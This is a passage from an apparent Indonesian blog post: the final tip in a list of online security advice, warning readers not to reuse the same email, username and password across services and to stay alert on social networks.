11. Yang terakhir jangan gunakan alamat email, username dan password yang sama untuk semua layanan online yang Anda ikuti. Selalu update pengetahuan Anda mengenai isu keamanan layanan jejaring sosial dan senantiasa waspada ketika aktif di dunia maya.
Langganan:
Postingan (Atom)
advertiser
